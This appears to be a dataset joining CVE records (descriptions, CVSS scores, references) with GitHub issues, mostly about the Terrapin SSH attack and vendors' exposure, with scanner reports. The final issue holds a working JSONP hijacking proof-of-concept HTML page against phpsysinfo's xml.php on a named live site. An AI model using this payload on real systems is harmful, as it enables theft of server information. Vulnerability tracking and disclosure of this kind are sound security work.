2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust. | {
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] | 354 | https://github.com/PowerShell/Win32-OpenSSH/issues/2189 | [
"Issue Tracking"
] | github.com | [
"PowerShell",
"Win32-OpenSSH"
] | ### Summary of the new feature / enhancement
As an administrator, I'd like to know whether my fleet is vulnerable to the [terrapin attack](https://terrapin-attack.com/).
### Proposed technical implementation details (optional)
_No response_ | Clarify exposure to CVE-2023-48795 (Terrapin) | https://api.github.com/repos/PowerShell/Win32-OpenSSH/issues/2189/comments | 9 | 2023-12-21T08:42:41Z | 2024-03-02T23:04:53Z | https://github.com/PowerShell/Win32-OpenSSH/issues/2189 | 2,051,970,807 | 2,189 | 5,825 |
CVE-2023-48795 | 2023-12-18T16:15:10.897 | The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust. | {
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"354"
] | 354 | https://github.com/apache/mina-sshd/issues/445 | [
"Issue Tracking"
] | github.com | [
"apache",
"mina-sshd"
] | ### Description
Hello,
is Mina or any contributor planning to work on adding the new OpenSSH protocol extension "strict-KEX" for mitigating Terrapin attacks?
Also did somebody check for the counter overflow conditions mentioned in the advanced counter manupulation section of the paper?
BTW: when implementing config options, I would do it like jssh which allows to define a "required" mode, so you can set up a listener which rejects any handshakes without this protection. (if you want to make "supported" configurable I dont care, seems to be not a big compat problem if implemented correctly)
In addition to resetting the counters the strict mode probbaly also should reject the "filler" debug and ignore mesages - I hope PMC received detailed guidance from the Terrapin team?
### Motivation
Users want to mitigate the new protocol attac which can only work if client and server are extended.
### Alternatives considered
Turning off the ciphers is an interop problem.
### Additional context
https://terrapin-attack.com | Terrapin Mitigation: "strict-kex" | https://api.github.com/repos/apache/mina-sshd/issues/445/comments | 13 | 2023-12-19T09:10:38Z | 2024-01-15T14:48:44Z | https://github.com/apache/mina-sshd/issues/445 | 2,048,232,109 | 445 | 5,826 |
CVE-2023-48795 | 2023-12-18T16:15:10.897 | The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust. | {
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] | 354 | https://github.com/cyd01/KiTTY/issues/520 | [
"Issue Tracking"
] | github.com | [
"cyd01",
"KiTTY"
] | What are the plans to mitigate the [Terrapin vulnerability](https://terrapin-attack.com)? Putty released version 0.80 two days ago with a fix and it appears that BOTH server and client SSH implementations must use the mitigation or the MITM attack is still a threat. As far as I can tell based on the information that has been released this means that using KiTTY without a mitigation patch will allow for this attack even if the SSH server has been patched. | Terrapin vulnerability mitigation | https://api.github.com/repos/cyd01/KiTTY/issues/520/comments | 5 | 2023-12-20T05:44:33Z | 2024-08-07T02:03:44Z | https://github.com/cyd01/KiTTY/issues/520 | 2,049,878,873 | 520 | 5,827 |
CVE-2023-48795 | 2023-12-18T16:15:10.897 | The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust. | {
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{
"source": "cve@mitre.org",
"tags": [
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"url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
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] | [
"354"
] | 354 | https://github.com/hierynomus/sshj/issues/916 | [
"Issue Tracking"
] | github.com | [
"hierynomus",
"sshj"
] | Hi!
Is this library affected by the [Terrapin Vulnerability](https://nvd.nist.gov/vuln/detail/CVE-2023-48795) ?
I tried this library with [Terrapin-Scanner](https://github.com/RUB-NDS/Terrapin-Scanner) and the output of the scanner says that SSHJ is affected:
```
G:\Downloads>Terrapin_Scanner_Windows_amd64.exe --listen 2222
Listening for incoming client connection on 127.0.0.1:2222
================================================================================
==================================== Report ====================================
================================================================================
Remote Banner: SSH-2.0-SSHJ_0.37.0
ChaCha20-Poly1305 support: true
CBC-EtM support: true
Strict key exchange support: false
==> The scanned peer is VULNERABLE to Terrapin.
Note: This tool is provided as is, with no warranty whatsoever. It determines
the vulnerability of a peer by checking the supported algorithms and
support for strict key exchange. It may falsely claim a peer to be
vulnerable if the vendor supports countermeasures other than strict key
exchange.
For more details visit our website available at https://terrapin-attack.com
``` | Terrapin Vulnerability CVE-2023-48795 | https://api.github.com/repos/hierynomus/sshj/issues/916/comments | 1 | 2023-12-19T16:14:44Z | 2023-12-29T12:40:30Z | https://github.com/hierynomus/sshj/issues/916 | 2,048,986,729 | 916 | 5,828 |
CVE-2023-48795 | 2023-12-18T16:15:10.897 | The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
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"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
},
{
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"tags": [
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"url": "http://seclists.org/fulldisclosure/2024/Mar/21"
},
{
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"url": "http://www.openwall.com/lists/oss-security/2023/12/18/3"
},
{
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"url": "https://arstechnica.com/security/2023/12/hackers-can-break-ssh-channel-integrity-using-novel-data-corruption-attack/"
},
{
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"url": "https://bugs.gentoo.org/920280"
},
{
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},
{
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{
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{
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},
{
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"url": "https://news.ycombinator.com/item?id=38685286"
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{
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"url": "https://news.ycombinator.com/item?id=38732005"
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{
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] | [
"354"
] | 354 | https://github.com/janmojzis/tinyssh/issues/81 | [
"Issue Tracking"
] | github.com | [
"janmojzis",
"tinyssh"
] | Hi
tinyssh seems prone to the Terrapin Attack (CVE-2023-48795) as well.
Details on: https://terrapin-attack.com/
Testing a recent version:
```
================================================================================
==================================== Report ====================================
================================================================================
Remote Banner: SSH-2.0-tinyssh_20230101-3 cWKeTzJf
ChaCha20-Poly1305 support: true
CBC-EtM support: false
Strict key exchange support: false
==> The scanned peer is VULNERABLE to Terrapin.
Note: This tool is provided as is, with no warranty whatsoever. It determines
the vulnerability of a peer by checking the supported algorithms and
support for strict key exchange. It may falsely claim a peer to be
vulnerable if the vendor supports countermeasures other than strict key
exchange.
For more details visit our website available at https://terrapin-attack.com
``` | CVE-2023-48795 / Terrapin Attack | https://api.github.com/repos/janmojzis/tinyssh/issues/81/comments | 3 | 2023-12-19T19:49:22Z | 2025-01-17T14:04:27Z | https://github.com/janmojzis/tinyssh/issues/81 | 2,049,337,238 | 81 | 5,829 |
CVE-2023-48795 | 2023-12-18T16:15:10.897 | The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
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"354"
] | 354 | https://github.com/mwiede/jsch/issues/457 | [
"Issue Tracking"
] | github.com | [
"mwiede",
"jsch"
] | I would like to know if jsch is affected by the Terrapin attack (https://terrapin-attack.com/).
From what I read about the attack I assume jsch is possibly vulnerable to it (if the right ciphers are used).
Thank you for your fork of jsch. | Is jsch affected by the Terrapin attack? | https://api.github.com/repos/mwiede/jsch/issues/457/comments | 9 | 2023-12-18T18:08:28Z | 2024-02-26T12:20:08Z | https://github.com/mwiede/jsch/issues/457 | 2,047,181,689 | 457 | 5,830 |
CVE-2023-48795 | 2023-12-18T16:15:10.897 | The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
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"exploitabilityScore": 2.2,
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"source": "nvd@nist.gov",
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"Issue Tracking"
] | github.com | [
"paramiko",
"paramiko"
] | This is just a tracking ticket to note that we are aware of the issue described here: https://terrapin-attack.com/ - and have been working with the researchers to release a new Paramiko version that mitigates the described attack pattern.
We expect to put out Paramiko 3.4 within the next day or so. The work in progress is here: https://github.com/paramiko/paramiko/tree/cve-2023-48795 | "Terrapin" MitM attack / CVE-2023-48795 | https://api.github.com/repos/paramiko/paramiko/issues/2337/comments | 8 | 2023-12-18T16:21:20Z | 2024-01-11T17:33:01Z | https://github.com/paramiko/paramiko/issues/2337 | 2,047,012,116 | 2,337 | 5,831 |
CVE-2023-48795 | 2023-12-18T16:15:10.897 | The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust. | {
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] | 354 | https://github.com/proftpd/proftpd/issues/456 | [
"Issue Tracking"
] | github.com | [
"proftpd",
"proftpd"
] | The `mod_sftp` module should implement support for the ["chacha20-poly1305@openssh.com"](https://tools.ietf.org/html/draft-josefsson-ssh-chacha20-poly1305-openssh-00) cipher, for performance and interoperability. | Support the chacha20-poly1305@openssh.com SSH cipher | https://api.github.com/repos/proftpd/proftpd/issues/456/comments | 2 | 2017-03-18T17:33:10Z | 2023-10-02T02:15:30Z | https://github.com/proftpd/proftpd/issues/456 | 215,208,862 | 456 | 5,832 |
CVE-2023-48795 | 2023-12-18T16:15:10.897 | The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust. | {
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"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
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"privilegesRequired": "NONE",
"scope": "UNCHANGED",
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"354"
] | 354 | https://github.com/ssh-mitm/ssh-mitm/issues/165 | [
"Issue Tracking"
] | github.com | [
"ssh-mitm",
"ssh-mitm"
] | I am reaching out to explore a potential similarity I noticed in packet handling between SSH-MITM and the Terrapin Attack, as highlighted in the discussion of Pull Request [#163](https://github.com/ssh-mitm/ssh-mitm/pull/163#issuecomment-1867323311) on the SSH-MITM repository.
It appears that both methods involve discarding certain packets during the SSH key exchange process.
In SSH-MITM, packets are discarded during kex-init:
https://github.com/ssh-mitm/ssh-mitm/blob/4fc3ef418847c35d17d0c427e2701b33a03c323c/sshmitm/workarounds/transport.py#L178-L188
According to the [Terrapin Attack website](https://terrapin-attack.com/), packet discarding is a crucial aspect of their methodology.
The packet handling techniques used in SSH-MITM, as seen in the GitHub blame for [sshmitm/workarounds/transport.py](https://github.com/ssh-mitm/ssh-mitm/blame/4fc3ef418847c35d17d0c427e2701b33a03c323c/sshmitm/workarounds/transport.py#L178-L188), were implemented 1-2 years ago. This timeline suggests a noteworthy context: both SSH-MITM and the Terrapin Attack utilize similar methods for manipulating SSH packets. This parallel raises intriguing questions about the Terrapin Attack's exploitability and security implications. The pre-existing nature of these techniques in SSH-MITM might warrant a reevaluation of the Terrapin Attack's impact on SSH security.
I would like to respectfully request the SSH-MITM developers to conduct an evaluation of the Terrapin Attack. This evaluation would greatly benefit the cybersecurity community by clarifying the differences and similarities between SSH-MITM's techniques and those used in the Terrapin Attack. Understanding these nuances is crucial for assessing the relevance and impact of such attacks on both current and future Man-in-the-Middle (MitM) vulnerabilities. | Terrapin Attack vs. SSH-MITM: Comparing Packet Handling | https://api.github.com/repos/ssh-mitm/ssh-mitm/issues/165/comments | 4 | 2023-12-22T09:05:00Z | 2025-06-10T09:56:31Z | https://github.com/ssh-mitm/ssh-mitm/issues/165 | 2,053,609,745 | 165 | 5,833 |
CVE-2023-49006 | 2023-12-19T10:15:07.883 | Cross Site Request Forgery (CSRF) vulnerability in Phpsysinfo version 3.4.3 allows a remote attacker to obtain sensitive information via a crafted page in the XML.php file. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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} | [
{
"source": "cve@mitre.org",
"tags": [
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"Issue Tracking"
],
"url": "https://github.com/Hebing123/cve/issues/5"
},
{
"source": "cve@mitre.org",
"tags": [
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],
"url": "https://github.com/phpsysinfo/phpsysinfo/commit/4f2cee505e4f2e9b369a321063ff2c5e0c34ba45"
},
{
"source": "cve@mitre.org",
"tags": [
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"Third Party Advisory"
],
"url": "https://huntr.com/bounties/ca6d669f-fd82-4188-aae2-69e08740d982/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
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],
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},
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],
"url": "https://github.com/phpsysinfo/phpsysinfo/commit/4f2cee505e4f2e9b369a321063ff2c5e0c34ba45"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
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],
"url": "https://huntr.com/bounties/ca6d669f-fd82-4188-aae2-69e08740d982/"
}
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"352"
] | 352 | https://github.com/Hebing123/cve/issues/5 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"Hebing123",
"cve"
] | ### **Description**
phpsysinfo v3.4.3 has JSONP vulnerability.The XML.php file has a JSONP hijacking vulnerability. When a user visits a page carefully crafted by the attacker, the JSON data is obtained and sent to the attacker.
### **Proof of Concept**
We created an HTML file as a proof of concept to showcase the vulnerability. This HTML file will attempt to retrieve the JSON data from https://phpbb.trabitechnik.com/xml.php and display it in a pop-up window.
Of course, in a real-world attack, an attacker would simply use a PHP file to send the retrieved JSON data to their server using an XMLHttpRequest.
Here is the HTML code for the proof of concept file:
```
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<script>
function dezsbrxdio(data){ alert(JSON.stringify(data)); }
</script>
<script src="https://phpbb.trabitechnik.com/xml.php?json&callback=dezsbrxdio&jsonp=dezsbrxdio&cb=dezsbrxdio&json=dezsbrxdio">
</script>
</body>
</html>
```
